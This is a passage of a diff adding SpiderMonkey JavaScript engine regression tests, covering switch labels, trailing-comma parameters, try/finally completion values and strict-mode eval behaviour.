+case 8000:
+case 8001:
+case 8002:
+case 8003:
+case 8004:
+case 8005:
+case 8006:
+case 8007:
+case 8008:
+case 8009:
+case 8010:
+case 8011:
+case 8012:
+case 8013:
+case 8014:
+case 8015:
+case 8016:
+case 8017:
+case 8018:
+case 8019:
+case 8020:
+case 8021:
+case 8022:
+case 8023:
+case 8024:
+case 8025:
+case 8026:
+case 8027:
+case 8028:
+case 8029:
+case 8030:
+case 8031:
+case 8032:
+case 8033:
+case 8034:
+case 8035:
+case 8036:
+case 8037:
+case 8038:
+case 8039:
+case 8040:
+case 8041:
+case 8042:
+case 8043:
+case 8044:
+case 8045:
+case 8046:
+case 8047:
+case 8048:
+case 8049:
+case 8050:
+case 8051:
+case 8052:
+case 8053:
+case 8054:
+case 8055:
+case 8056:
+case 8057:
+case 8058:
+case 8059:
+case 8060:
+case 8061:
+case 8062:
+case 8063:
+case 8064:
+case 8065:
+case 8066:
+case 8067:
+case 8068:
+case 8069:
+case 8070:
+case 8071:
+case 8072:
+case 8073:
+case 8074:
+case 8075:
+case 8076:
+case 8077:
+case 8078:
+case 8079:
+case 8080:
+case 8081:
+case 8082:
+case 8083:
+case 8084:
+case 8085:
+case 8086:
+case 8087:
+case 8088:
+case 8089:
+case 8090:
+case 8091:
+case 8092:
+case 8093:
+case 8094:
+case 8095:
+case 8096:
+case 8097:
+case 8098:
+case 8099:
+case 8100:
+case 8101:
+case 8102:
+case 8103:
+case 8104:
+case 8105:
+case 8106:
+case 8107:
+case 8108:
+case 8109:
+case 8110:
+case 8111:
+case 8112:
+case 8113:
+case 8114:
+case 8115:
+case 8116:
+case 8117:
+case 8118:
+case 8119:
+case 8120:
+case 8121:
+case 8122:
+case 8123:
+case 8124:
+case 8125:
+case 8126:
+case 8127:
+case 8128:
+case 8129:
+case 8130:
+case 8131:
+case 8132:
+case 8133:
+case 8134:
+case 8135:
+case 8136:
+case 8137:
+case 8138:
+case 8139:
+case 8140:
+case 8141:
+case 8142:
+case 8143:
+case 8144:
+case 8145:
+case 8146:
+case 8147:
+case 8148:
+case 8149:
+case 8150:
+case 8151:
+case 8152:
+case 8153:
+case 8154:
+case 8155:
+case 8156:
+case 8157:
+case 8158:
+case 8159:
+case 8160:
+case 8161:
+case 8162:
+case 8163:
+case 8164:
+case 8165:
+case 8166:
+case 8167:
+case 8168:
+case 8169:
+case 8170:
+case 8171:
+case 8172:
+case 8173:
+case 8174:
+case 8175:
+case 8176:
+case 8177:
+case 8178:
+case 8179:
+case 8180:
+case 8181:
+case 8182:
+case 8183:
+case 8184:
+case 8185:
+case 8186:
+case 8187:
+case 8188:
+case 8189:
+case 8190:
+case 8191:
+case 8192:
+case 8193:
+case 8194:
+case 8195:
+case 8196:
+case 8197:
+case 8198:
+case 8199:
+case 8200:
+case 8201:
+case 8202:
+case 8203:
+case 8204:
+case 8205:
+case 8206:
+case 8207:
+case 8208:
+case 8209:
+case 8210:
+case 8211:
+case 8212:
+case 8213:
+case 8214:
+case 8215:
+case 8216:
+case 8217:
+case 8218:
+case 8219:
+case 8220:
+case 8221:
+case 8222:
+case 8223:
+case 8224:
+case 8225:
+case 8226:
+case 8227:
+case 8228:
+case 8229:
+case 8230:
+case 8231:
+case 8232:
+case 8233:
+case 8234:
+case 8235:
+case 8236:
+case 8237:
+case 8238:
+case 8239:
+case 8240:
+case 8241:
+case 8242:
+case 8243:
+case 8244:
+case 8245:
+case 8246:
+case 8247:
+case 8248:
+case 8249:
+case 8250:
+case 8251:
+case 8252:
+case 8253:
+case 8254:
+case 8255:
+case 8256:
+case 8257:
+case 8258:
+case 8259:
+case 8260:
+case 8261:
+case 8262:
+case 8263:
+case 8264:
+case 8265:
+case 8266:
+case 8267:
+case 8268:
+case 8269:
+case 8270:
+case 8271:
+case 8272:
+case 8273:
+case 8274:
+case 8275:
+case 8276:
+case 8277:
+case 8278:
+case 8279:
+case 8280:
+case 8281:
+case 8282:
+case 8283:
+case 8284:
+case 8285:
+case 8286:
+case 8287:
+case 8288:
+case 8289:
+case 8290:
+case 8291:
+case 8292:
+case 8293:
+case 8294:
+case 8295:
+case 8296:
+case 8297:
+case 8298:
+case 8299:
+case 8300:
+case 8301:
+case 8302:
+case 8303:
+case 8304:
+case 8305:
+case 8306:
+case 8307:
+case 8308:
+case 8309:
+case 8310:
+case 8311:
+case 8312:
+case 8313:
+case 8314:
+case 8315:
+case 8316:
+case 8317:
+case 8318:
+case 8319:
+case 8320:
+case 8321:
+case 8322:
+case 8323:
+case 8324:
+case 8325:
+case 8326:
+case 8327:
+case 8328:
+case 8329:
+case 8330:
+case 8331:
+case 8332:
+case 8333:
+case 8334:
+case 8335:
+case 8336:
+case 8337:
+case 8338:
+case 8339:
+case 8340:
+case 8341:
+case 8342:
+case 8343:
+case 8344:
+case 8345:
+case 8346:
+case 8347:
+case 8348:
+case 8349:
+case 8350:
+case 8351:
+case 8352:
+case 8353:
+case 8354:
+case 8355:
+case 8356:
+case 8357:
+case 8358:
+case 8359:
+case 8360:
+case 8361:
+case 8362:
+case 8363:
+case 8364:
+case 8365:
+case 8366:
+case 8367:
+case 8368:
+case 8369:
+case 8370:
+case 8371:
+case 8372:
+case 8373:
+case 8374:
+case 8375:
+case 8376:
+case 8377:
+case 8378:
+case 8379:
+case 8380:
+case 8381:
+case 8382:
+case 8383:
+case 8384:
+case 8385:
+case 8386:
+case 8387:
+case 8388:
+case 8389:
+case 8390:
+case 8391:
+case 8392:
+case 8393:
+case 8394:
+case 8395:
+case 8396:
+case 8397:
+case 8398:
+case 8399:
+case 8400:
+case 8401:
+case 8402:
+case 8403:
+case 8404:
+case 8405:
+case 8406:
+case 8407:
+case 8408:
+case 8409:
+case 8410:
+case 8411:
+case 8412:
+case 8413:
+case 8414:
+case 8415:
+case 8416:
+case 8417:
+case 8418:
+case 8419:
+case 8420:
+case 8421:
+case 8422:
+case 8423:
+case 8424:
+case 8425:
+case 8426:
+case 8427:
+case 8428:
+case 8429:
+case 8430:
+case 8431:
+case 8432:
+case 8433:
+case 8434:
+case 8435:
+case 8436:
+case 8437:
+case 8438:
+case 8439:
+case 8440:
+case 8441:
+case 8442:
+case 8443:
+case 8444:
+case 8445:
+case 8446:
+case 8447:
+case 8448:
+case 8449:
+case 8450:
+case 8451:
+case 8452:
+case 8453:
+case 8454:
+case 8455:
+case 8456:
+case 8457:
+case 8458:
+case 8459:
+case 8460:
+case 8461:
+case 8462:
+case 8463:
+case 8464:
+case 8465:
+case 8466:
+case 8467:
+case 8468:
+case 8469:
+case 8470:
+case 8471:
+case 8472:
+case 8473:
+case 8474:
+case 8475:
+case 8476:
+case 8477:
+case 8478:
+case 8479:
+case 8480:
+case 8481:
+case 8482:
+case 8483:
+case 8484:
+case 8485:
+case 8486:
+case 8487:
+case 8488:
+case 8489:
+case 8490:
+case 8491:
+case 8492:
+case 8493:
+case 8494:
+case 8495:
+case 8496:
+case 8497:
+case 8498:
+case 8499:
+case 8500:
+case 8501:
+case 8502:
+case 8503:
+case 8504:
+case 8505:
+case 8506:
+case 8507:
+case 8508:
+case 8509:
+case 8510:
+case 8511:
+case 8512:
+case 8513:
+case 8514:
+case 8515:
+case 8516:
+case 8517:
+case 8518:
+case 8519:
+case 8520:
+case 8521:
+case 8522:
+case 8523:
+case 8524:
+case 8525:
+case 8526:
+case 8527:
+case 8528:
+case 8529:
+case 8530:
+case 8531:
+case 8532:
+case 8533:
+case 8534:
+case 8535:
+case 8536:
+case 8537:
+case 8538:
+case 8539:
+case 8540:
+case 8541:
+case 8542:
+case 8543:
+case 8544:
+case 8545:
+case 8546:
+case 8547:
+case 8548:
+case 8549:
+case 8550:
+case 8551:
+case 8552:
+case 8553:
+case 8554:
+case 8555:
+case 8556:
+case 8557:
+case 8558:
+case 8559:
+case 8560:
+case 8561:
+case 8562:
+case 8563:
+case 8564:
+case 8565:
+case 8566:
+case 8567:
+case 8568:
+case 8569:
+case 8570:
+case 8571:
+case 8572:
+case 8573:
+case 8574:
+case 8575:
+case 8576:
+case 8577:
+case 8578:
+case 8579:
+case 8580:
+case 8581:
+case 8582:
+case 8583:
+case 8584:
+case 8585:
+case 8586:
+case 8587:
+case 8588:
+case 8589:
+case 8590:
+case 8591:
+case 8592:
+case 8593:
+case 8594:
+case 8595:
+case 8596:
+case 8597:
+case 8598:
+case 8599:
+case 8600:
+case 8601:
+case 8602:
+case 8603:
+case 8604:
+case 8605:
+case 8606:
+case 8607:
+case 8608:
+case 8609:
+case 8610:
+case 8611:
+case 8612:
+case 8613:
+case 8614:
+case 8615:
+case 8616:
+case 8617:
+case 8618:
+case 8619:
+case 8620:
+case 8621:
+case 8622:
+case 8623:
+case 8624:
+case 8625:
+case 8626:
+case 8627:
+case 8628:
+case 8629:
+case 8630:
+case 8631:
+case 8632:
+case 8633:
+case 8634:
+case 8635:
+case 8636:
+case 8637:
+case 8638:
+case 8639:
+case 8640:
+case 8641:
+case 8642:
+case 8643:
+case 8644:
+case 8645:
+case 8646:
+case 8647:
+case 8648:
+case 8649:
+case 8650:
+case 8651:
+case 8652:
+case 8653:
+case 8654:
+case 8655:
+case 8656:
+case 8657:
+case 8658:
+case 8659:
+case 8660:
+case 8661:
+case 8662:
+case 8663:
+case 8664:
+case 8665:
+case 8666:
+case 8667:
+case 8668:
+case 8669:
+case 8670:
+case 8671:
+case 8672:
+case 8673:
+case 8674:
+case 8675:
+case 8676:
+case 8677:
+case 8678:
+case 8679:
+case 8680:
+case 8681:
+case 8682:
+case 8683:
+case 8684:
+case 8685:
+case 8686:
+case 8687:
+case 8688:
+case 8689:
+case 8690:
+case 8691:
+case 8692:
+case 8693:
+case 8694:
+case 8695:
+case 8696:
+case 8697:
+case 8698:
+case 8699:
+case 8700:
+case 8701:
+case 8702:
+case 8703:
+case 8704:
+case 8705:
+case 8706:
+case 8707:
+case 8708:
+case 8709:
+case 8710:
+case 8711:
+case 8712:
+case 8713:
+case 8714:
+case 8715:
+case 8716:
+case 8717:
+case 8718:
+case 8719:
+case 8720:
+case 8721:
+case 8722:
+case 8723:
+case 8724:
+case 8725:
+case 8726:
+case 8727:
+case 8728:
+case 8729:
+case 8730:
+case 8731:
+case 8732:
+case 8733:
+case 8734:
+case 8735:
+case 8736:
+case 8737:
+case 8738:
+case 8739:
+case 8740:
+case 8741:
+case 8742:
+case 8743:
+case 8744:
+case 8745:
+case 8746:
+case 8747:
+case 8748:
+case 8749:
+case 8750:
+case 8751:
+case 8752:
+case 8753:
+case 8754:
+case 8755:
+case 8756:
+case 8757:
+case 8758:
+case 8759:
+case 8760:
+case 8761:
+case 8762:
+case 8763:
+case 8764:
+case 8765:
+case 8766:
+case 8767:
+case 8768:
+case 8769:
+case 8770:
+case 8771:
+case 8772:
+case 8773:
+case 8774:
+case 8775:
+case 8776:
+case 8777:
+case 8778:
+case 8779:
+case 8780:
+case 8781:
+case 8782:
+case 8783:
+case 8784:
+case 8785:
+case 8786:
+case 8787:
+case 8788:
+case 8789:
+case 8790:
+case 8791:
+case 8792:
+case 8793:
+case 8794:
+case 8795:
+case 8796:
+case 8797:
+case 8798:
+case 8799:
+case 8800:
+case 8801:
+case 8802:
+case 8803:
+case 8804:
+case 8805:
+case 8806:
+case 8807:
+case 8808:
+case 8809:
+case 8810:
+case 8811:
+case 8812:
+case 8813:
+case 8814:
+case 8815:
+case 8816:
+case 8817:
+case 8818:
+case 8819:
+case 8820:
+case 8821:
+case 8822:
+case 8823:
+case 8824:
+case 8825:
+case 8826:
+case 8827:
+case 8828:
+case 8829:
+case 8830:
+case 8831:
+case 8832:
+case 8833:
+case 8834:
+case 8835:
+case 8836:
+case 8837:
+case 8838:
+case 8839:
+case 8840:
+case 8841:
+case 8842:
+case 8843:
+case 8844:
+case 8845:
+case 8846:
+case 8847:
+case 8848:
+case 8849:
+case 8850:
+case 8851:
+case 8852:
+case 8853:
+case 8854:
+case 8855:
+case 8856:
+case 8857:
+case 8858:
+case 8859:
+case 8860:
+case 8861:
+case 8862:
+case 8863:
+case 8864:
+case 8865:
+case 8866:
+case 8867:
+case 8868:
+case 8869:
+case 8870:
+case 8871:
+case 8872:
+case 8873:
+case 8874:
+case 8875:
+case 8876:
+case 8877:
+case 8878:
+case 8879:
+case 8880:
+case 8881:
+case 8882:
+case 8883:
+case 8884:
+case 8885:
+case 8886:
+case 8887:
+case 8888:
+case 8889:
+case 8890:
+case 8891:
+case 8892:
+case 8893:
+case 8894:
+case 8895:
+case 8896:
+case 8897:
+case 8898:
+case 8899:
+case 8900:
+case 8901:
+case 8902:
+case 8903:
+case 8904:
+case 8905:
+case 8906:
+case 8907:
+case 8908:
+case 8909:
+case 8910:
+case 8911:
+case 8912:
+case 8913:
+case 8914:
+case 8915:
+case 8916:
+case 8917:
+case 8918:
+case 8919:
+case 8920:
+case 8921:
+case 8922:
+case 8923:
+case 8924:
+case 8925:
+case 8926:
+case 8927:
+case 8928:
+case 8929:
+case 8930:
+case 8931:
+case 8932:
+case 8933:
+case 8934:
+case 8935:
+case 8936:
+case 8937:
+case 8938:
+case 8939:
+case 8940:
+case 8941:
+case 8942:
+case 8943:
+case 8944:
+case 8945:
+case 8946:
+case 8947:
+case 8948:
+case 8949:
+case 8950:
+case 8951:
+case 8952:
+case 8953:
+case 8954:
+case 8955:
+case 8956:
+case 8957:
+case 8958:
+case 8959:
+case 8960:
+case 8961:
+case 8962:
+case 8963:
+case 8964:
+case 8965:
+case 8966:
+case 8967:
+case 8968:
+case 8969:
+case 8970:
+case 8971:
+case 8972:
+case 8973:
+case 8974:
+case 8975:
+case 8976:
+case 8977:
+case 8978:
+case 8979:
+case 8980:
+case 8981:
+case 8982:
+case 8983:
+case 8984:
+case 8985:
+case 8986:
+case 8987:
+case 8988:
+case 8989:
+case 8990:
+case 8991:
+case 8992:
+case 8993:
+case 8994:
+case 8995:
+case 8996:
+case 8997:
+case 8998:
+case 8998: // DUPLICATE LABEL
+ actual += 'a';
+case 8999:
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-83532-001.js b/js/src/tests/non262/statements/regress-83532-001.js
new file mode 100644
index 0000000000..69d84b5c54
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-83532-001.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 June 2001
+ *
+ * SUMMARY: Testing that we don't crash on switch case -1...
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83532
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 83532;
+var summary = "Testing that we don't crash on switch case -1";
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Just testing that we don't crash on these -
+ function f () {switch(1) {case -1:}}
+ function g(){switch(1){case (-1):}}
+ var h = function() {switch(1) {case -1:}}
+ f();
+ g();
+ h();
+ reportCompare('No Crash', 'No Crash', '');
+}
diff --git a/js/src/tests/non262/statements/regress-83532-002.js b/js/src/tests/non262/statements/regress-83532-002.js
new file mode 100644
index 0000000000..c8c212968b
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-83532-002.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 June 2001
+ *
+ * SUMMARY: Testing that we don't crash on switch case -1...
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83532
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 83532;
+var summary = "Testing that we don't crash on switch case -1";
+var sToEval = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Just testing that we don't crash on these -
+ sToEval += 'function f () {switch(1) {case -1:}};';
+ sToEval += 'function g(){switch(1){case (-1):}};';
+ sToEval += 'var h = function() {switch(1) {case -1:}};'
+ sToEval += 'f();';
+ sToEval += 'g();';
+ sToEval += 'h();';
+ eval(sToEval);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
diff --git a/js/src/tests/non262/statements/shell.js b/js/src/tests/non262/statements/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/statements/shell.js
diff --git a/js/src/tests/non262/statements/trailing_comma_parameters.js b/js/src/tests/non262/statements/trailing_comma_parameters.js
new file mode 100644
index 0000000000..8612f7b1bf
--- /dev/null
+++ b/js/src/tests/non262/statements/trailing_comma_parameters.js
@@ -0,0 +1,92 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in functions and generators.
+
+// 14.1 Function Definitions
+// FunctionDeclaration[Yield, Default]:
+// function BindingIdentifier[?Yield] ( FormalParameters[~Yield] ) { FunctionBody[~Yield] }
+
+// 14.4 Generator Function Definitions
+// GeneratorDeclaration[Yield, Default]:
+// function * BindingIdentifier[?Yield] ( FormalParameters[+Yield] ) { GeneratorBody }
+
+
+function functionDeclaration(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ function f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ }
+ f(${parameters});
+ `);
+}
+
+function generatorDeclaration(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ function* f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ }
+ f(${parameters}).next().value;
+ `);
+}
+
+const tests = [
+ functionDeclaration,
+ generatorDeclaration,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/try-completion.js b/js/src/tests/non262/statements/try-completion.js
new file mode 100644
index 0000000000..f9bd1e1496
--- /dev/null
+++ b/js/src/tests/non262/statements/try-completion.js
@@ -0,0 +1,482 @@
+var BUGNUMBER = 819125;
+var summary = "try block should return try value if finally returned normally";
+
+print(BUGNUMBER + ": " + summary);
+
+function expectTryValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'try');
+}
+
+function expectCatchValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'catch');
+}
+
+function expectFinallyValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'finally');
+}
+
+// ==== finally: normal ====
+
+// try: normal
+// finally: normal
+expectTryValue(`
+try {
+ 'try';
+} finally {
+ 'finally';
+}
+`);
+
+// try: normal without value
+// finally: normal
+expectTryValue(`
+try {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: break
+// finally: normal
+expectTryValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`);
+
+// try: break without value
+// finally: normal
+expectTryValue(`
+while (true) {
+ try {
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`, true);
+
+// try: continue
+// finally: normal
+expectTryValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`);
+
+// try: continue without value
+// finally: normal
+expectTryValue(`
+do {
+ try {
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`, true);
+
+// try: throw
+// catch: normal
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+} finally {
+ 'finally';
+}
+`);
+
+// try: throw
+// catch: normal
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+} finally {
+ 'finally';
+}
+`);
+
+// try: throw
+// catch: normal without value
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: throw
+// catch: normal without value
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: throw
+// catch: break
+// finally: normal
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`);
+
+// try: throw
+// catch: break without value
+// finally: normal
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`, true);
+
+// try: throw
+// catch: continue
+// finally: normal
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`);
+
+// try: throw
+// catch: continue without value
+// finally: normal
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`, true);
+
+// ==== finally: break ====
+
+// try: normal
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`);
+
+// try: normal
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// try: break
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`);
+
+// try: break
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// try: continue
+// finally: break
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ break;
+ }
+} while (false);
+`);
+
+// try: continue
+// finally: break without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ break;
+ }
+} while (false);
+`, true);
+
+// try: throw
+// catch: normal
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`, false);
+
+// try: throw
+// catch: normal
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// ==== finally: continue ====
+
+// try: normal
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: normal
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// try: break
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: break
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ break;
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// try: continue
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: continue
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// ==== without finally ====
+
+// try: throw
+// catch: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+}
+`);
+
+// try: throw
+// catch: normal without value
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+}
+`, true);
+
+// try: throw
+// catch: break
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ break;
+ }
+}
+`);
+
+// try: throw
+// catch: break without value
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ break;
+ }
+}
+`, true);
+
+// try: throw
+// catch: continue
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ continue;
+ }
+} while (false);
+`);
+
+// try: throw
+// catch: continue without value
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ continue;
+ }
+} while (false);
+`, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/10.4.2.js b/js/src/tests/non262/strict/10.4.2.js
new file mode 100644
index 0000000000..b68578d64d
--- /dev/null
+++ b/js/src/tests/non262/strict/10.4.2.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Direct calls to eval should inherit the strictness of the calling code. */
+assertEq(testLenientAndStrict("eval('010')",
+ completesNormally,
+ raisesException(SyntaxError)),
+ true);
+
+/*
+ * Directives in the eval code itself should always override a direct
+ * caller's strictness.
+ */
+assertEq(testLenientAndStrict("eval('\"use strict\"; 010')",
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+
+/* Code passed to indirect calls to eval should never be strict. */
+assertEq(testLenientAndStrict("var evil=eval; evil('010')",
+ completesNormally,
+ completesNormally),
+ true);
+
+/*
+ * Code passed to the Function constructor never inherits the caller's
+ * strictness.
+ */
+assertEq(completesNormally("Function('010')"),
+ true);
+assertEq(raisesException(SyntaxError)("Function('\"use strict\"; 010')"),
+ true);
+
+/*
+ * If 'eval' causes a frame's primitive |this| to become wrapped, the frame should see the same
+ * wrapper object as the eval code.
+ */
+var call_this, eval_this;
+function f(code) {
+ /*
+ * At this point, a primitive |this| has not yet been wrapped. A
+ * reference to |this| from the eval call should wrap it, and the wrapper
+ * should be stored where the call frame can see it.
+ */
+ eval(code);
+ call_this = this;
+}
+f.call(true, 'eval_this = this');
+assertEq(call_this, eval_this);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/10.4.3.js b/js/src/tests/non262/strict/10.4.3.js
new file mode 100644
index 0000000000..b70a6a0d77
--- /dev/null
+++ b/js/src/tests/non262/strict/10.4.3.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var obj = {}
+
+function strict() { "use strict"; return this; }
+assertEq(strict.call(""), "");
+assertEq(strict.call(true), true);
+assertEq(strict.call(42), 42);
+assertEq(strict.call(null), null);
+assertEq(strict.call(undefined), undefined);
+assertEq(strict.call(obj), obj);
+assertEq(new strict() instanceof Object, true);
+
+/*
+ * The compiler internally converts x['foo'] to x.foo. Writing x[s] where
+ * s='foo' is enough to throw it off the scent for now.
+ */
+var strictString = 'strict';
+
+Boolean.prototype.strict = strict;
+assertEq(true.strict(), true);
+assertEq(true[strictString](), true);
+
